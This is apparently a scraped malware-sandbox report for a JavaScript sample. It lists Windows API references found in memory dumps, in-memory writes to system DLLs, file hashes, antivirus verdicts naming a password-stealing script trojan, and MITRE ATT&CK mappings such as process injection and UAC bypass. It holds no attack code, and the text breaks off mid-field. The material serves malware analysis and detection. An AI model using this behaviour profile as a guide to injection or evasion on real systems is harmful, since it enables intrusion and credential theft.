"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp")38:T41f,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp")39:T656,Found reference to API "RegQueryValueA" (Indicator: "RegQueryValue"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "RegOpenKeyA" (Indicator: "RegOpenKey"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "RegNotifyChangeKeyValue" (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp")3a:Te7a,Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp")3b:T57c,Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp")3c:Tebf,"WScript.exe" wrote bytes "b013eccbfe7f00008014eccbfe7f0000" to virtual address "0xCC8981C8" (part of module "COMBASE.DLL") "WScript.exe" wrote bytes "c01c25cefe7f0000" to virtual address "0xBD7E5078" (part of module "TEXTINPUTFRAMEWORK.DLL") "WScript.exe" wrote bytes "f0c01bcbfe7f000030ea1ecbfe7f0000303f19cbfe7f000010241fcbfe7f0000908019cbfe7f0000c04b19cbfe7f000080241fcbfe7f000060721ccbfe7f000030f219cbfe7f000080051bcbfe7f0000" to virtual address "0xCCB74270" (part of module "GDI32.DLL") "WScript.exe" wrote bytes "30c01ccbfe7f000020c01ccbfe7f000000b81ccbfe7f0000c09e1bcbfe7f0000d0a11bcbfe7f000090ba1bcbfe7f000080ba21cbfe7f000080a21ccbfe7f0000603d19cbfe7f0000402320cbfe7f0000" to virtual address "0xCCB752B0" (part of module "GDI32.DLL") "WScript.exe" wrote bytes "e03b1ac9fe7f0000302a1ac9fe7f0000e0211ac9fe7f0000e01e1ac9fe7f0000c0351ac9fe7f0000b0151ac9fe7f0000c0261bc9fe7f0000c0141ac9fe7f0000" to virtual address "0xC8FC10F0" (part of module "UXTHEME.DLL") "WScript.exe" wrote bytes "70372ecafe7f0000202a2ecafe7f0000f0212ecafe7f000010212ecafe7f0000f0222ecafe7f0000101f2ecafe7f0000c0282ecafe7f000080442ecafe7f0000" to virtual address "0xCAED4000" (part of module "WINTRUST.DLL") "WScript.exe" wrote bytes "601f30cafe7f0000301e30cafe7f0000c01e30cafe7f0000" to virtual address "0xC9D5D018" (part of module "RSAENH.DLL") "WScript.exe" wrote bytes "f0e567ccfe7f0000a0ff67ccfe7f0000" to virtual address "0xCCC561C8" (part of module "IMM32.DLL") "WScript.exe" wrote bytes "107c1ccbfe7f0000e0c31bcbfe7f000020e719cbfe7f000060ca19cbfe7f000030271fcbfe7f000070541ccbfe7f000080171fcbfe7f000040c919cbfe7f000080cf19cbfe7f0000004b19cbfe7f0000008b1ccbfe7f0000" to virtual address "0xCCB74338" (part of module "GDI32.DLL") "WScript.exe" wrote bytes "009c1fcbfe7f0000200c1acbfe7f000040ff1ecbfe7f0000b0fa1ecbfe7f0000" to virtual address "0xCCB74098" (part of module "GDI32.DLL") "WScript.exe" wrote bytes "202e93cafe7f0000302e93cafe7f0000" to virtual address "0xCC898378" (part of module "COMBASE.DLL") "WScript.exe" wrote bytes "20fe2eccfe7f000000fa2eccfe7f0000" to virtual address "0xCC8980D8" (part of module "COMBASE.DLL") "WScript.exe" wrote bytes "00fa2eccfe7f0000902630ccfe7f000020fe2eccfe7f0000e02730ccfe7f0000" to virtual address "0xCCC1D3B0" (part of module "ADVAPI32.DLL") "WScript.exe" wrote bytes "b05f0fc8fe7f0000c0d90bc8fe7f0000b0570fc8fe7f0000e0560fc8fe7f000040570fc8fe7f0000" to virtual address "0xCE361000" (part of module "MSCTF.DLL") "WScript.exe" wrote bytes "00b21bcbfe7f0000207a1bcbfe7f0000b0b01bcbfe7f0000" to virtual address "0xCCB74000" (part of module "GDI32.DLL") "WScript.exe" wrote bytes "60121acbfe7f0000" to virtual address "0xCCB74020" (part of module "GDI32.DLL") "WScript.exe" wrote bytes "a01c3ecefe7f0000601c3ecefe7f0000d01b3ecefe7f0000" to virtual address "0xCC898430" (part of module "COMBASE.DLL") "WScript.exe" wrote bytes "8022e9cafe7f0000b041eacafe7f0000e021e8cafe7f0000d020e8cafe7f00008032e8cafe7f00008027e8cafe7f00008023e8cafe7f0000f016e8cafe7f0000c014e9cafe7f0000a01deacafe7f0000c06be8cafe7f0000" to virtual address "0xCCC1D1D8" (part of module "ADVAPI32.DLL") "WScript.exe" wrote bytes "90c42eccfe7f0000e0bc2eccfe7f0000e0bf2eccfe7f0000" to virtual address "0xCC8980F0" (part of module "COMBASE.DLL") "WScript.exe" wrote bytes "40e976cafe7f000020e876cafe7f000060e576cafe7f0000702275cafe7f0000" to virtual address "0xCC020118" (part of module "OLEAUT32.DLL") "WScript.exe" wrote bytes "b001b0cafe7f0000" to virtual address "0xCCB471A8" (part of module "RPCRT4.DLL") "WScript.exe" wrote bytes "c02b75bdfe7f0000d0b277bdfe7f0000301076bdfe7f0000" to virtual address "0xCE361048" (part of module "MSCTF.DLL") "WScript.exe" wrote bytes "80bb61cefe7f0000" to virtual address "0xBD7E5000" (part of module "TEXTINPUTFRAMEWORK.DLL")1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"9fe97ae18c45e22fe76b8bd5165d0e152bec464d92ef5f7319b1723aba1c0edb","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790373563963,"unified_at":"2026-09-25T21:59:23.963Z","metadata":{"hashes":{"sha256":"9fe97ae18c45e22fe76b8bd5165d0e152bec464d92ef5f7319b1723aba1c0edb","sha1":"a761964e6be97ecd20c158baf7a8694775d96772","md5":"de6d0bc400fe794d8b9c33f7a2e6a874","sha512":"1fcd268dab997d97dba6c0207e1ec006cf04df874bf3e79df57ec955baef832b255d14536b44d730475f695cd61d1e925c2fd8759c649761678ab8dfbd6cdf2e","ssdeep":"384:OLivRjDny4BXDHo1Qb4D8pZWa1cJ9Bf6T0zwRz7aSdPGOYyw86dD4BBq0BR6Jngv:5vRjDny4BzHo1Qb4D82UcJ9BiowRz7zj","ssdeep_chunks":["384:OLivRjD","384:LivRjDn","384:ivRjDny","384:vRjDny4","384:RjDny4B","384:jDny4BX","384:Dny4BXD","384:ny4BXDH","384:y4BXDHo","384:4BXDHo1","384:BXDHo1Q","384:XDHo1Qb","384:DHo1Qb4","384:Ho1Qb4D","384:o1Qb4D8","384:1Qb4D8p","384:Qb4D8pZ","384:b4D8pZW","384:4D8pZWa","384:D8pZWa1","384:8pZWa1c","384:pZWa1cJ","384:ZWa1cJ9","384:Wa1cJ9B","384:a1cJ9Bf","384:1cJ9Bf6","384:cJ9Bf6T","384:J9Bf6T0","384:9Bf6T0z","384:Bf6T0zw","384:f6T0zwR","384:6T0zwRz","384:T0zwRz7","384:0zwRz7a","384:zwRz7aS","384:wRz7aSd","384:Rz7aSdP","384:z7aSdPG","384:7aSdPGO","384:aSdPGOY","384:SdPGOYy","384:dPGOYyw","384:PGOYyw8","384:GOYyw86","384:OYyw86d","384:Yyw86dD","384:yw86dD4","384:w86dD4B","384:86dD4BB","384:6dD4BBq","384:dD4BBq0","384:D4BBq0B","384:4BBq0BR","384:BBq0BR6","384:Bq0BR6J","384:q0BR6Jn","384:0BR6Jng","384:BR6Jngv","768:OLivRjD","768:LivRjDn","768:ivRjDny","768:vRjDny4","768:RjDny4B","768:jDny4BX","768:Dny4BXD","768:ny4BXDH","768:y4BXDHo","768:4BXDHo1","768:BXDHo1Q","768:XDHo1Qb","768:DHo1Qb4","768:Ho1Qb4D","768:o1Qb4D8","768:1Qb4D8p","768:Qb4D8pZ","768:b4D8pZW","768:4D8pZWa","768:D8pZWa1","768:8pZWa1c","768:pZWa1cJ","768:ZWa1cJ9","768:Wa1cJ9B","768:a1cJ9Bf","768:1cJ9Bf6","768:cJ9Bf6T","768:J9Bf6T0","768:9Bf6T0z","768:Bf6T0zw","768:f6T0zwR","768:6T0zwRz","768:T0zwRz7","768:0zwRz7a","768:zwRz7aS","768:wRz7aSd","768:Rz7aSdP","768:z7aSdPG","768:7aSdPGO","768:aSdPGOY","768:SdPGOYy","768:dPGOYyw","768:PGOYyw8","768:GOYyw86","768:OYyw86d","768:Yyw86dD","768:yw86dD4","768:w86dD4B","768:86dD4BB","768:6dD4BBq","768:dD4BBq0","768:D4BBq0B","768:4BBq0BR","768:BBq0BR6","768:Bq0BR6J","768:q0BR6Jn","768:0BR6Jng","768:BR6Jngv","384:5vRjDny","384:jDny4Bz","384:Dny4BzH","384:ny4BzHo","384:y4BzHo1","384:4BzHo1Q","384:BzHo1Qb","384:zHo1Qb4","384:1Qb4D82","384:Qb4D82U","384:b4D82Uc","384:4D82UcJ","384:D82UcJ9","384:82UcJ9B","384:2UcJ9Bi","384:UcJ9Bio","384:cJ9Biow","384:J9BiowR","384:9BiowRz","384:BiowRz7","384:iowRz7z","384:owRz7zj"],"imphash":"Unknown"},"file_info":{"file_name":"url","file_type":["script","javascript"],"file_type_id":"js","file_size":22862,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1692527220000,"last_seen":1692527220000,"last_multi_scan":1692527220000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":53},"sandbox_signatures":{"informative_count":127,"suspicious_count":4,"malicious_count":1,"total":132},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-PSW.Script.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Agent.fkwnsk","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"suspicious","value":"Executes a JavaScript file"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"informative","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains the ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Contains ability to modify thread functionality - possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","identifiers":[{"type":"informative","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Detected minified/packed Javascript"},{"type":"suspicious","value":"YARA signature match - CRC-32 algorithm"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Shows ability to obfuscate file or 